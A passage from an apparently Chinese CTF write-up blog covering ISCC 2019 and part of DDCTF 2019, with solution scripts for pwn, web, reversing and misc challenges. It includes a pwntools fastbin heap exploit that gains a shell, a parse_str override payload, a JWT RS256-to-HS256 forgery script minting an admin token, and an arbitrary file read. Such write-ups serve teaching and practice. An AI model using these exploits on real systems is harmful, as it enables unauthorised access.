class="number">10</span>):</span><br><span class="line"> file = open(path + str(i + <span class="number">1</span>) + <span class="string">'.jpg'</span>, <span class="string">'rb'</span>)</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">0xd46</span>):</span><br><span class="line"> file.read(<span class="number">1</span>)</span><br><span class="line"> paddings.append(file.read(<span class="number">1250</span>))</span><br><span class="line"> file.close()</span><br><span class="line">m = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">250</span>)] <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">50</span>)] <span class="comment"># 50 * 250 matrix</span></span><br><span class="line"><span class="comment"># fill matrix</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">50</span>):</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> range(<span class="number">25</span>):</span><br><span class="line"> <span class="keyword">if</span> paddings[j][k + i * <span class="number">25</span>] == <span class="number">0</span>:</span><br><span class="line"> m[i][j * <span class="number">25</span> + k] = <span class="number">255</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> m[i][j * <span class="number">25</span> + k] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">image = Image.fromarray(np.array(m))</span><br><span class="line">image.show()</span><br></pre></td></tr></table></figure></p><h2 id="第二周"><a href="#第二周" class="headerlink" title="第二周"></a>第二周</h2><h3 id="pwn02"><a href="#pwn02" class="headerlink" title="pwn02"></a>pwn02</h3><p>堆溢出导致的fastbin attack</p><p>ida反编译以后可以看到程序有3个功能,分别是malloc+gets, free和put</p><p>做法蛮多的,这里用最容易的一种方法</p><p>先malloc两个0x30的chunk,看一下堆:</p><p><img src="/images/ISCC-2019-WP/2.png" alt=""></p><p>然后把它们free掉:</p><p><img src="/images/ISCC-2019-WP/3.png" alt=""></p><p>接着再malloc一个堆块,利用gets造成的堆溢出来伪造前一个fastbin的fd指针,使其指向got表</p><p>这里要注意伪造的chunk低32位地址必须是正确的大小,即0x40,利用地址对齐选一个合适的地址:</p><p>把<code>\x00\x00\x73\x68\x00\x00</code>作为pattern写入got,然后覆盖malloc的got地址为后门函数的地址,设置参数为sh的地址即可getshell</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">'./pwn02'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">malloc</span><span class="params">(i,s)</span>:</span></span><br><span class="line">p.recvuntil(<span class="string">'> '</span>)</span><br><span class="line">p.send(<span class="string">'1 %d\n48 %s'</span>%(i,s)+<span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(x)</span>:</span></span><br><span class="line">p.recvuntil(<span class="string">'> '</span>)</span><br><span class="line">p.send(<span class="string">'2 %d'</span>%x+<span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line">malloc(<span class="number">0</span>,<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">malloc(<span class="number">1</span>,<span class="string">'bbbbbbbb'</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">malloc(<span class="number">2</span>,<span class="string">'a'</span>*<span class="number">56</span> + p64(<span class="number">0x41</span>) + p64(<span class="number">0x600e02</span>))</span><br><span class="line">malloc(<span class="number">3</span>,<span class="string">'aaaa'</span>)</span><br><span class="line">malloc(<span class="number">4</span>, <span class="string">'\x00\x00\x73\x68\x00\x00'</span> + p64(<span class="number">0x400856</span>)) <span class="comment"># write in sh() address</span></span><br><span class="line">p.recvuntil(<span class="string">'> '</span>)</span><br><span class="line">p.send(<span class="string">'1 5\n 6295060\n'</span>)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 0000000000400948 malloc</span></span><br><span class="line"><span class="comment"># 0000000000400989 free</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># b *0x400948 </span></span><br><span class="line"><span class="comment"># b *0x400989</span></span><br></pre></td></tr></table></figure><h3 id="web1-1"><a href="#web1-1" class="headerlink" title="web1"></a>web1</h3><p>给了源码,要绕过:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line">error_reporting(<span class="number">0</span>); </span><br><span class="line"><span class="keyword">include</span>(<span class="string">"flag.php"</span>); </span><br><span class="line">$hashed_key = <span class="string">'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'</span>; </span><br><span class="line">$parsed = parse_url($_SERVER[<span class="string">'REQUEST_URI'</span>]); </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($parsed[<span class="string">"query"</span>])){ </span><br><span class="line"> $query = $parsed[<span class="string">"query"</span>]; </span><br><span class="line"> $parsed_query = parse_str($query); </span><br><span class="line"> <span class="keyword">if</span>($parsed_query!=<span class="keyword">NULL</span>){ </span><br><span class="line"> $action = $parsed_query[<span class="string">'action'</span>]; </span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>($action===<span class="string">"auth"</span>){ </span><br><span class="line"> $key = $_GET[<span class="string">"key"</span>]; </span><br><span class="line"> $hashed_input = hash(<span class="string">'sha256'</span>, $key); </span><br><span class="line"> <span class="keyword">if</span>($hashed_input!==$hashed_key){ </span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"<img src='cxk.jpg'>"</span>); </span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> <span class="keyword">echo</span> $flag; </span><br><span class="line"> } </span><br><span class="line">}<span class="keyword">else</span>{ </span><br><span class="line"> show_source(<span class="keyword">__FILE__</span>); </span><br><span class="line">}<span class="meta">?></span></span><br></pre></td></tr></table></figure><p>利用<code>parse_str</code>进行变量覆盖,我这里覆盖为字符1的sha1</p><p>最终payload:</p><p><code>http://39.100.83.188:8066/?hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&action=auth&key=1</code></p><h3 id="re1-1"><a href="#re1-1" class="headerlink" title="re1"></a>re1</h3><p>ida一把梭 找到密文:<code>@1DE!440S9W9,2T%Y07=%<W!Z.3!:1T%S2S-),7</code></p><p>看一眼加密算法,三层加密,第一层根据密码表可以看出是base64</p><p>第二层是一波变换,加密算法:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">while</span> ( *s )</span><br><span class="line">{</span><br><span class="line"> v4 = *s;</span><br><span class="line"> <span class="keyword">if</span> ( *s <= <span class="number">64</span> || v4 > <span class="number">90</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( v4 <= <span class="number">96</span> || v4 > <span class="number">122</span> )</span><br><span class="line"> *v5 = *s;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> *v5 = (v4 - <span class="number">84</span>) % <span class="number">26</span> + <span class="number">97</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> *v5 = (v4 - <span class="number">52</span>) % <span class="number">26</span> + <span class="number">65</span>;</span><br><span class="line"> }</span><br><span class="line"> ++v5;</span><br><span class="line"> ++s;</span><br><span class="line">}</span><br><span class="line">*v5 = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>据此写出解密算法:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s = <span class="string">''</span></span><br><span class="line">m = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"> <span class="keyword">if</span> ord(i) <= <span class="number">64</span> <span class="keyword">or</span> ord(i) > <span class="number">90</span>:</span><br><span class="line"> <span class="keyword">if</span> ord(i) <= <span class="number">96</span> <span class="keyword">or</span> ord(i) > <span class="number">122</span>:</span><br><span class="line"> m += i</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> m += chr((ord(i) - <span class="number">84</span>) % <span class="number">26</span> + <span class="number">97</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> m += chr((ord(i) - <span class="number">52</span>) % <span class="number">26</span> + <span class="number">65</span>)</span><br><span class="line"></span><br><span class="line">print(m)</span><br></pre></td></tr></table></figure><p>第三层加密有点长啊草…应该是某种算法,太菜了看不出来,开动态调试加密一下<code>12345</code>看看:</p><p><code>ZGVmAQH=</code> ————> <code>(6D=6;4%12#T</code> -> <code>2836443D363B342531322354</code><br> -base64-> <code>WkdWbUFRSD0=</code><br><code>ZGVmAQH2</code> ————> <code>(6D=6;4%12#(</code> -> <code>2836443D363B342531322328</code><br> ————> <code>WkdWbUFRSDI=</code></p><p>结果和<code>@1DE!440S9W9,2T%Y07=%<W!Z.3!:1T%S2S-),7-$/3T\x20\x00</code>比对</p><p>查到了, 是uudecode加密,逆向算法还是太菜了…</p><p>在线解得<code>FIAQD3gvLKAyAwEspz90ZGAsK3I1sD</code></p><p>然后</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">s = <span class="string">'FIAQD3gvLKAyAwEspz90ZGAsK3I1sD'</span></span><br><span class="line">m = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"> <span class="keyword">if</span> ord(i) <= <span class="number">64</span> <span class="keyword">or</span> ord(i) > <span class="number">90</span>:</span><br><span class="line"> <span class="keyword">if</span> ord(i) <= <span class="number">96</span> <span class="keyword">or</span> ord(i) > <span class="number">122</span>:</span><br><span class="line"> m += i</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> m += chr((ord(i) - <span class="number">84</span>) % <span class="number">26</span> + <span class="number">97</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> m += chr((ord(i) - <span class="number">52</span>) % <span class="number">26</span> + <span class="number">65</span>)</span><br><span class="line"></span><br><span class="line">print(base64.b64decode(m + <span class="string">'=='</span>))</span><br></pre></td></tr></table></figure><h3 id="re2-1"><a href="#re2-1" class="headerlink" title="re2"></a>re2</h3><p>是个pyc,使用uncompyle6可以反编译,然后写解密代码即可:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># uncompyle6 version 3.3.2</span></span><br><span class="line"><span class="comment"># Python bytecode 2.7 (62211)</span></span><br><span class="line"><span class="comment"># Decompiled from: Python 3.5.2 (default, Nov 12 2018, 13:43:14) </span></span><br><span class="line"><span class="comment"># [GCC 5.4.0 20160609]</span></span><br><span class="line"><span class="comment"># Embedded file name: flag.py</span></span><br><span class="line"><span class="comment"># Compiled at: 2019-02-20 22:39:31</span></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encode</span><span class="params">(message)</span>:</span></span><br><span class="line"> s = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> message:</span><br><span class="line"> x = ord(i) ^ <span class="number">32</span></span><br><span class="line"> x = x + <span class="number">16</span></span><br><span class="line"> s += chr(x)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> base64.b64encode(s)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">decode</span><span class="params">(f)</span>:</span></span><br><span class="line"> f = base64.b64decode(f)</span><br><span class="line"> s = <span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> f:</span><br><span class="line"> x = ord(i) - <span class="number">16</span></span><br><span class="line"> x = x ^ <span class="number">32</span></span><br><span class="line"> s += chr(x)</span><br><span class="line"> <span class="keyword">return</span> s</span><br><span class="line"></span><br><span class="line">correct = <span class="string">'eYNzc2tjWV1gXFWPYGlTbQ=='</span></span><br><span class="line">print(decode(correct))</span><br></pre></td></tr></table></figure><h3 id="re3"><a href="#re3" class="headerlink" title="re3"></a>re3</h3><p>是个.net程序,用dnspy反编译以后,找到一堆静态数字,尝试转成ASCII得到flag:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">a = ['102', '108', '97', '103', '123', '83', '84', '48', '82', '73', '78', '71', '95', '83', '84', '65', '84', '49', '67', '95', '80', '65', '53', '53', '87', '79', '82', '68', '83', '95', '49', '78', '95', '70', '73', '76', '51', '83', '95', '49', '83', '95', '78', '48', '84', '95', '83', '51', '67', '85', '82', '51', '125']</span><br><span class="line"></span><br><span class="line">flag = ''</span><br><span class="line"></span><br><span class="line">for i in a:</span><br><span class="line"> flag += chr(int(i, 10))</span><br><span class="line"></span><br><span class="line">print(flag)</span><br></pre></td></tr></table></figure><h3 id="misc1"><a href="#misc1" class="headerlink" title="misc1"></a>misc1</h3><p>给了一个表面exe,丢Linux用<code>strings runable.exe</code>可以读到一个base64串,解了发现是个PNG</p><p>转成PNG保存即可</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> b64decode</span><br><span class="line">c = <span class="string">'iVBORw0KGgAAAAANSUhEUgAAASkAAAEpAQAAAADn4ukvAAACAklEQVR4nO2aQY6bQBBF3wdLsGvvsoSb4JzM+GbmCLmBvcwOFpFAMvwsIJ5ZjsRkcEj3BlR6Un9apa+qLmQ+sC7JRyiIWMQiFrGIfRjrNK+yy0eJi0oYl1i+sbY9YJlt+0roDgBVcwTZttvNte0BGyXV0OXInC9VCyCpfAFt+8FCn04s2ftlm/4/WBcGSTrR5V+36Z6xw/xIDTSELpsSzt/L0I5goNtQ2w6w+XgHAVB034bUguJH/stzLNtO216w4HndGA5gne5H0iXWb6xtN9hFZejTUfKV0I8Jqpuyi3XvJ2FnNwpDaqhuz2CI2bsG4+kA9rVwjwyVW9IJ+7p0HPUrf8IrY8ytWTrhurqxWO6NzDZUt9mW4/Guw8bU0JSAxeVUtACO3rsWW7J38QT3sycUbfbQWxrH7F2HZZ6ARgoPWTWEHmvJ5421/dPY0rXhxHAvB2kyzf34M9ekjbXtBxtTS6pa0gnVFPcci3NsK1Zi+P1qM0+8qxwo2ui9q7HntCJ0SlimFQmcfdtc2x6wP9OKLjw0Jy3pBHA/bq5tD9gyrViGQdyPgyRoqui9n4llD0u+QvYA1xDbis/EhoPsGkJ3kLmcvmTTHWMsBYM9X+nMlw92nz5riVg5rMUGzSM2siFBvgJYql9B2z+NHQDC23986fKaPTDE+96IRSxiEfsb2G/jeCyvdHD3rQAAAABJRU5ErkJggg=='</span></span><br><span class="line"></span><br><span class="line">f = open(<span class="string">'img.png'</span>, <span class="string">'wb'</span>)</span><br><span class="line">f.write(b64decode(c))</span><br></pre></td></tr></table></figure><p>文件头里有一个字节错误,找个正常图片打开改一下即可得到一个二维码 扫描得flag</p><h3 id="misc2"><a href="#misc2" class="headerlink" title="misc2"></a>misc2</h3><p>二维码扫描解base64得到一个密码,然后用binwalk分离图片得到压缩包,压缩包密码是前面得到的密码,即可得到flag</p><h3 id="welcome"><a href="#welcome" class="headerlink" title="welcome"></a>welcome</h3><p>脚本:<br><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line">s = <span class="string">'蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條'</span></span><br><span class="line"></span><br><span class="line">s = s.replace(<span class="string">'蓅烺計劃 洮蓠朩暒'</span>, <span class="string">'0'</span>)</span><br><span class="line">s = s.replace(<span class="string">'戶囗 萇條'</span>, <span class="string">'1'</span>)</span><br><span class="line">b = [s[i:i + <span class="number">8</span>] <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, len(s), <span class="number">8</span>)]</span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> b:</span><br><span class="line"> flag += chr((int(i, <span class="number">2</span>)))</span><br><span class="line"></span><br><span class="line">print(flag)</span><br></pre></td></tr></table></figure></p><h2 id="第三周"><a href="#第三周" class="headerlink" title="第三周"></a>第三周</h2><p>没赶得上放题orz,点开都是几百solve了,国内的ctf真的这么强吗</p><h3 id="rev03"><a href="#rev03" class="headerlink" title="rev03"></a>rev03</h3><p>C#的窗口程序,dnspy一把梭,逻辑是输入FONZY输出flag</p><h3 id="rev04"><a href="#rev04" class="headerlink" title="rev04"></a>rev04</h3><h3 id="最危险的地方就是最安全的地方"><a href="#最危险的地方就是最安全的地方" class="headerlink" title="最危险的地方就是最安全的地方"></a>最危险的地方就是最安全的地方</h3><p>文件头第一个字节改成ff修复</p><p>末尾有一段unknown padding,有PK字样,应该是压缩包</p><p>binwalk一把梭得到50张二维码</p><p>第50张是jpg,里面有flag</p><h3 id="High起来!"><a href="#High起来!" class="headerlink" title="High起来!"></a>High起来!</h3><p>binwalk一把梭得到一个二维码和一个mp3</p><p>二维码内容是当铺密码,用MP3Stego解密后url解码即可</p><h3 id="web5"><a href="#web5" class="headerlink" title="web5"></a>web5</h3><p>提示Union.373,尝试修改UA,设置成<code>M Union.373</code>即可</p><p>然后post输入用户名密码,提示flag是密码,发现存在注入,过滤了左右括号和等于号以及注释符,使用order by方法拿flag即可</p><p>参考: <a href="https://www.cnblogs.com/deen-/p/7008939.html">https://www.cnblogs.com/deen-/p/7008939.html</a></p><h3 id="web6"><a href="#web6" class="headerlink" title="web6"></a>web6</h3><p>要登录admin,注册一个号以后发现有jwt,在<code>https://jwt.io/</code>解密</p><p><img src="/images/ISCC-2019-WP/1.png" alt=""></p><p>RS256方式,需要密钥,在common.js里可以看到获取方法:</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getpubkey</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="comment">/* </span></span><br><span class="line"><span class="comment"> get the pubkey for test</span></span><br><span class="line"><span class="comment"> /pubkey/{md5(username+password)}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么路径是<code>url/pubkey/7ddd87ba87514cd838a5c048f649228e</code></p><p>得到<code>{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}</code></p><p>更改加密方式为HS256并直接用公钥加密</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line">public = <span class="string">"\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n"</span>.replace(<span class="string">'\n'</span>, <span class="string">''</span>)</span><br><span class="line">print(jwt.encode({<span class="string">"name"</span>: <span class="string">"1nv0k3r"</span>,<span class="string">"priv"</span>: <span class="string">"admin"</span>}, key=public, algorithm=<span class="string">'HS256'</span>))</span><br></pre></td></tr></table></figure><p>得到<code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMW52MGszciIsInByaXYiOiJhZG1pbiJ9.w3EBXrNXrG6RQyIISniJXyOSK6CIF_FzpqrJEviXFDk</code></p><p>然后按common.js里的方法访问即可<br><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">paste</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">var</span> content = <span class="built_in">escape</span>($(<span class="string">"#content"</span>).val());</span><br><span class="line"> token = <span class="built_in">window</span>.localStorage.getItem(<span class="string">"token"</span>);</span><br><span class="line"> <span class="keyword">if</span> (token==<span class="literal">null</span>||token==<span class="literal">undefined</span>){</span><br><span class="line"> alert(<span class="string">"u must login first"</span>);</span><br><span class="line"> <span class="built_in">window</span>.location.href = <span class="string">"/"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> auth = <span class="string">"iscc19 "</span> + token;</span><br><span class="line"> $.ajax({</span><br><span class="line"> url: <span class="string">'/paste'</span>,</span><br><span class="line"> type: <span class="string">'POST'</span>,</span><br><span class="line"> headers:{<span class="string">"Authorization"</span>:auth},</span><br><span class="line"> data: {<span class="string">"content"</span>: content},</span><br><span class="line"> })</span><br><span class="line"> .success(<span class="function"><span class="keyword">function</span>(<span class="params">data</span>) </span>{</span><br><span class="line"> result = data.result;</span><br><span class="line"> <span class="keyword">if</span>(result){</span><br><span class="line"> alert(<span class="string">"u can open it with:"</span> + <span class="string">"/text/"</span> + data.link);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> alert(<span class="string">"paste fail"</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>]]></content>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>DDCTF 2019 WP</title>
<link href="/2019/04/12/DDCTF-2019-WP/"/>
<url>/2019/04/12/DDCTF-2019-WP/</url>
<content type="html"><![CDATA[<h2 id="web1-滴"><a href="#web1-滴" class="headerlink" title="web1 滴"></a>web1 滴</h2><p>看到url:<a href="http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09">http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09</a></p><p>解一下这个base64得到 flag.jpg</p><p>显然是任意文件读取</p><p>尝试读index.php</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * https://blog.csdn.net/FengBanLiuYun/article/details/80616607</span></span><br><span class="line"><span class="comment"> * Date: July 4,2018</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">error_reporting(E_ALL || ~E_NOTICE);</span><br><span class="line"></span><br><span class="line">header(<span class="string">'content-type:text/html;charset=utf-8'</span>);</span><br><span class="line"><span class="keyword">if</span>(! <span class="keyword">isset</span>($_GET[<span class="string">'jpg'</span>]))</span><br><span class="line"> header(<span class="string">'Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'</span>);</span><br><span class="line">$file = hex2bin(base64_decode(base64_decode($_GET[<span class="string">'jpg'</span>])));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<title>'</span>.$_GET[<span class="string">'jpg'</span>].<span class="string">'</title>'</span>;</span><br><span class="line">$file = preg_replace(<span class="string">"/[^a-zA-Z0-9.]+/"</span>,<span class="string">""</span>, $file);</span><br><span class="line"><span class="keyword">echo</span> $file.<span class="string">'</br>'</span>;</span><br><span class="line">$file = str_replace(<span class="string">"config"</span>,<span class="string">"!"</span>, $file);</span><br><span class="line"><span class="keyword">echo</span> $file.<span class="string">'</br>'</span>;</span><br><span class="line">$txt = base64_encode(file_get_contents($file));</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<img src='data:image/gif;base64,"</span>.$txt.<span class="string">"'></img>"</span>;</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Can you find the flag file?</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>看起来似乎要绕过str_replace读config.php</p><p>最后从注释的CSDN找到另一篇文章:<a href="https://blog.csdn.net/FengBanLiuYun/article/details/80913909">https://blog.csdn.net/FengBanLiuYun/article/details/80913909</a></p><p>文章里提到文件名<code>.practice.txt.swp</code></p><p>最后要读的文件是<code>practice.txt.swp</code> ??????????????????????</p><p>读到flag,加上DDCTF{}:DDCTF{f1ag!ddctf.p}</p><h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><p>本次比赛唯一一个pwn</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = process(<span class="string">'./xpwn'</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">'a'</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">'-1'</span>)</span><br><span class="line">p.recv()</span><br><span class="line">p.sendline(<span class="string">'A'</span> * <span class="number">0x4c</span>)</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># p = process('./xpwn')</span></span><br><span class="line">p = remote(<span class="string">'116.85.48.105'</span>,<span class="number">5005</span>)</span><br><span class="line">libc = ELF(<span class="string">'./libc.so.6'</span>)</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">'Enter username:'</span>,<span class="string">'AAAA'</span>*<span class="number">0x6</span>)</span><br><span class="line">p.recvuntil(<span class="string">'A'</span>*<span class="number">24</span>)</span><br><span class="line"><span class="comment"># print hex(libc.symbols['_IO_setbuffer'])</span></span><br><span class="line"><span class="comment"># print(hex(u32(addr)))</span></span><br><span class="line">libc_addr = u32(p.recv(<span class="number">4</span>))<span 